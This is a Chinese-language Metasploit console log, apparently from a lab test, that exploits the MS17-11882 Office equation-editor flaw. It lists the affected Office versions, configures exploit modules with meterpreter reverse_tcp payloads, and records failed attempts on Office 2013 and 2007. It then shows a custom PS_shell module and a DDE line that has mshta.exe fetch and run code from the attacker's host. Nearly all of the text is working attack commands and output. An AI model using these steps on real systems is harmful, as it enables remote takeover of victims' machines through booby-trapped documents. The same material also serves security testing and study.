影响版本：
Office 365
Microsoft Office 2000
Microsoft Office 2003
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016
office2013 64位专业版 microsoft word 2013(15.0.4569.1504) MSO(15.0.4569.1506) 64位
office2010 64位专业版 microsoft office professional plus 2010（14.0.6023.1000）64位
msf exploit(office_ms17_11882) > show options
Module options (exploit/windows/fileformat/office_ms17_11882):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes Filename to save as
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH 111.doc no The URI to use for this exploit (default is random)
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
run
msf exploit(office_ms17_11882) > exploit
[*] Using URL: http://0.0.0.0:8080/111.doc
[*] Local IP: http://127.0.0.1:8080/111.doc
[*] Server started.
[+] msf.,rtf stored at /root/.msf4/local/msf.rtf
在受害者机器打开文件
office 13失败
office 2007失败
msf接收反弹失败：
msf>
......
[*] Delivering payload to 192.168.1.105 ...
[*] Delivering payload to 192.168.1.105 ...
[*] Delivering payload to 192.168.1.105 ...
msf> use exploit/windows/new-exp/PS_shell
msf exploit(PS_shell) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(PS_shell) > set lhost 192.168.1.128
lhost => 192.168.1.128
msf exploit(PS_shell) > set uripath exp
uripath => exp1711882
msf exploit(PS_shell) > show options
Module options (exploit/windows/new-exp/PS_shell):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH exp no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.128 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(PS_shell) > run
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.128:4444
[*] Using URL: http://0.0.0.0:8080/exp
[*] Local IP: http://127.0.0.1:8080/exp
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.1.128:8080/exp"
